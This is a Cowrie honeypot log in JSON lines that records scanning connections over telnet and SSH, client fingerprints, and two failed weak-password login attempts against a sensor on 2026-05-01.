{"eventid":"cowrie.session.closed","duration":30.54515051841736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:22.284395Z","src_ip":"157.15.20.138","session":"78362110f467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869250059127808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:23.921206Z","src_ip":"108.61.224.215","session":"2dcdffdeabae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533016681671143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:24.191899Z","src_ip":"157.15.20.138","session":"243ac9adc026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":48350,"dst_ip":"159.203.135.109","dst_port":23,"session":"1406f28b79d3","protocol":"telnet","message":"New connection: 103.171.45.122:48350 (159.203.135.109:23) [session: 1406f28b79d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:24.196775Z"}
{"eventid":"cowrie.session.closed","duration":30.895909786224365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:24.213199Z","src_ip":"157.15.20.138","session":"a47bc5e005d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":48364,"dst_ip":"159.203.135.109","dst_port":23,"session":"3110805174bb","protocol":"telnet","message":"New connection: 103.171.45.122:48364 (159.203.135.109:23) [session: 3110805174bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:25.426186Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":33270,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1e985c68166","protocol":"telnet","message":"New connection: 157.15.20.138:33270 (159.203.135.109:23) [session: e1e985c68166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:25.664092Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":33276,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7985cdfeeb","protocol":"telnet","message":"New connection: 157.15.20.138:33276 (159.203.135.109:23) [session: 3e7985cdfeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.015299Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":38778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3dc7a80795e","protocol":"telnet","message":"New connection: 34.69.118.1:38778 (159.203.135.109:23) [session: e3dc7a80795e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.360495Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":35926,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6bdcb78fdf","protocol":"ssh","message":"New connection: 221.139.88.149:35926 (10.17.0.5:22) [session: 7c6bdcb78fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.635952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.641515Z","src_ip":"221.139.88.149","session":"7c6bdcb78fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.812949180603027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.763215Z","src_ip":"108.61.224.215","session":"5cbebf43ddbb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.870116Z","src_ip":"221.139.88.149","session":"7c6bdcb78fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":48380,"dst_ip":"159.203.135.109","dst_port":23,"session":"515f892a0781","protocol":"telnet","message":"New connection: 103.171.45.122:48380 (159.203.135.109:23) [session: 515f892a0781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:26.913253Z"}
{"eventid":"cowrie.session.closed","duration":30.90446949005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:27.277259Z","src_ip":"62.171.133.168","session":"9a897c783f6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757702350616455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:27.282026Z","src_ip":"34.69.118.1","session":"460a1a2dfb7a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:27.687100Z","src_ip":"221.139.88.149","session":"7c6bdcb78fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":40030,"dst_ip":"159.203.135.109","dst_port":23,"session":"48fdab7524e1","protocol":"telnet","message":"New connection: 157.15.20.138:40030 (159.203.135.109:23) [session: 48fdab7524e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:28.677214Z"}
{"eventid":"cowrie.session.closed","duration":30.76155424118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:28.765802Z","src_ip":"108.61.224.215","session":"5824d1e49e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:28.875489Z","src_ip":"221.139.88.149","session":"7c6bdcb78fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":49692,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3087f0322c0","protocol":"telnet","message":"New connection: 104.236.196.85:49692 (159.203.135.109:23) [session: d3087f0322c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:29.230409Z"}
{"eventid":"cowrie.session.closed","duration":31.52048373222351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:29.460887Z","src_ip":"34.69.118.1","session":"f27144869e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":37710,"dst_ip":"159.203.135.109","dst_port":23,"session":"c262e13e7cbc","protocol":"telnet","message":"New connection: 62.171.133.168:37710 (159.203.135.109:23) [session: c262e13e7cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:29.500294Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":49696,"dst_ip":"159.203.135.109","dst_port":23,"session":"326bc3d6c259","protocol":"telnet","message":"New connection: 104.236.196.85:49696 (159.203.135.109:23) [session: 326bc3d6c259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:30.279253Z"}
{"eventid":"cowrie.session.closed","duration":30.510979652404785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:30.460353Z","src_ip":"103.171.45.122","session":"58c71acda4e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753093242645264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:30.852446Z","src_ip":"108.61.224.215","session":"b75fa66168ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60436,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c7e29714bfa","protocol":"ssh","message":"New connection: 122.168.114.167:60436 (159.203.135.109:22) [session: 1c7e29714bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:31.080240Z"}
{"eventid":"cowrie.session.closed","duration":30.350399017333984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:32.276892Z","src_ip":"103.171.45.122","session":"b5cca6618cbe","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:32.610900Z","src_ip":"122.168.114.167","session":"1c7e29714bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:32.614429Z","src_ip":"122.168.114.167","session":"1c7e29714bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.099003791809082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:33.992754Z","src_ip":"62.171.133.168","session":"7e8e8fd4b52c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":37726,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e30156e03b8","protocol":"telnet","message":"New connection: 62.171.133.168:37726 (159.203.135.109:23) [session: 1e30156e03b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:34.135868Z"}
{"eventid":"cowrie.session.closed","duration":31.852884769439697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:37.854281Z","src_ip":"103.171.45.122","session":"62f618790994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39816,"dst_ip":"159.203.135.109","dst_port":23,"session":"450963c8754d","protocol":"telnet","message":"New connection: 103.171.45.122:39816 (159.203.135.109:23) [session: 450963c8754d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:38.077450Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1a8e4e100d7","protocol":"telnet","message":"New connection: 103.171.45.122:39824 (159.203.135.109:23) [session: d1a8e4e100d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:38.785108Z"}
{"eventid":"cowrie.session.closed","duration":31.201022386550903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:39.100449Z","src_ip":"34.69.118.1","session":"2aac22bc3ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60728,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c7afeffef56","protocol":"telnet","message":"New connection: 34.69.118.1:60728 (159.203.135.109:23) [session: 6c7afeffef56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:39.140192Z"}
{"eventid":"cowrie.session.closed","duration":30.623393535614014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:39.238106Z","src_ip":"103.171.45.122","session":"9b00c972f70a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59321689605713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:40.246781Z","src_ip":"157.15.20.138","session":"5b5cb4b3e54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39828,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2ed44dc0b4","protocol":"telnet","message":"New connection: 103.171.45.122:39828 (159.203.135.109:23) [session: ee2ed44dc0b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:40.337419Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:41.137018Z","src_ip":"122.168.114.167","session":"1c7e29714bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:44.441713Z","src_ip":"122.168.114.167","session":"1c7e29714bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.25660753250122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:45.137769Z","src_ip":"157.15.20.138","session":"0514a72591a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59420,"dst_ip":"159.203.135.109","dst_port":23,"session":"f413daa7e16c","protocol":"telnet","message":"New connection: 157.15.20.138:59420 (159.203.135.109:23) [session: f413daa7e16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:46.983328Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53238,"dst_ip":"159.203.135.109","dst_port":23,"session":"437a0974a910","protocol":"telnet","message":"New connection: 185.26.126.47:53238 (159.203.135.109:23) [session: 437a0974a910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:48.337028Z"}
{"eventid":"cowrie.session.closed","duration":31.240976572036743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:49.252397Z","src_ip":"103.171.45.122","session":"9b9b98758230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57772,"dst_ip":"159.203.135.109","dst_port":23,"session":"9db2e94240a2","protocol":"telnet","message":"New connection: 104.236.196.85:57772 (159.203.135.109:23) [session: 9db2e94240a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:49.865864Z"}
{"eventid":"cowrie.session.closed","duration":30.74332094192505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:49.982840Z","src_ip":"62.171.133.168","session":"c59e2445f9cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698525190353394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:50.884889Z","src_ip":"104.236.196.85","session":"a62dbfb2f673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51875066757202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:51.282721Z","src_ip":"157.15.20.138","session":"9ca6b7a9e320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34502,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa277da642e","protocol":"telnet","message":"New connection: 34.69.118.1:34502 (159.203.135.109:23) [session: 5fa277da642e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:51.587651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":47418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06b736cd579","protocol":"telnet","message":"New connection: 62.171.133.168:47418 (159.203.135.109:23) [session: b06b736cd579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:52.410331Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":47420,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96998a9bb45","protocol":"telnet","message":"New connection: 62.171.133.168:47420 (159.203.135.109:23) [session: b96998a9bb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:52.710822Z"}
{"eventid":"cowrie.session.closed","duration":31.029217958450317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:55.225902Z","src_ip":"103.171.45.122","session":"1406f28b79d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35020,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb95e8ad6f14","protocol":"telnet","message":"New connection: 103.171.45.122:35020 (159.203.135.109:23) [session: fb95e8ad6f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:56.093302Z"}
{"eventid":"cowrie.session.closed","duration":30.79798460006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:56.224098Z","src_ip":"103.171.45.122","session":"3110805174bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581615447998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:56.245586Z","src_ip":"157.15.20.138","session":"e1e985c68166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":47436,"dst_ip":"159.203.135.109","dst_port":23,"session":"98a4fef961d9","protocol":"telnet","message":"New connection: 62.171.133.168:47436 (159.203.135.109:23) [session: 98a4fef961d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:56.308403Z"}
{"eventid":"cowrie.session.closed","duration":30.710538148880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:57.070954Z","src_ip":"34.69.118.1","session":"e3dc7a80795e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345319747924805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:57.258458Z","src_ip":"103.171.45.122","session":"515f892a0781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.843658447265625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:57.858844Z","src_ip":"157.15.20.138","session":"3e7985cdfeeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535032272338867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:28:59.212186Z","src_ip":"157.15.20.138","session":"48fdab7524e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529786586761475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:00.029938Z","src_ip":"62.171.133.168","session":"c262e13e7cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997586250305176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:00.227919Z","src_ip":"104.236.196.85","session":"d3087f0322c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755566835403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:01.034719Z","src_ip":"104.236.196.85","session":"326bc3d6c259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84262704849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:04.978371Z","src_ip":"62.171.133.168","session":"1e30156e03b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00149393081665,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:05.770195Z","src_ip":"186.155.157.120","session":"00fd7415bff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.155.157.120","src_port":49950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54b3d6e6741","protocol":"telnet","message":"New connection: 186.155.157.120:49950 (10.17.0.5:23) [session: a54b3d6e6741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:08.741192Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34610,"dst_ip":"159.203.135.109","dst_port":22,"session":"a21eae7f3f81","protocol":"ssh","message":"New connection: 122.168.114.167:34610 (159.203.135.109:22) [session: a21eae7f3f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:09.089927Z"}
{"eventid":"cowrie.session.closed","duration":31.54041314125061,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:09.617758Z","src_ip":"103.171.45.122","session":"450963c8754d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84359097480774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:09.628600Z","src_ip":"103.171.45.122","session":"d1a8e4e100d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39610719680786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:11.733443Z","src_ip":"103.171.45.122","session":"ee2ed44dc0b4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:29:11.773931Z","src_ip":"122.168.114.167","session":"a21eae7f3f81","protocol":"ssh"}
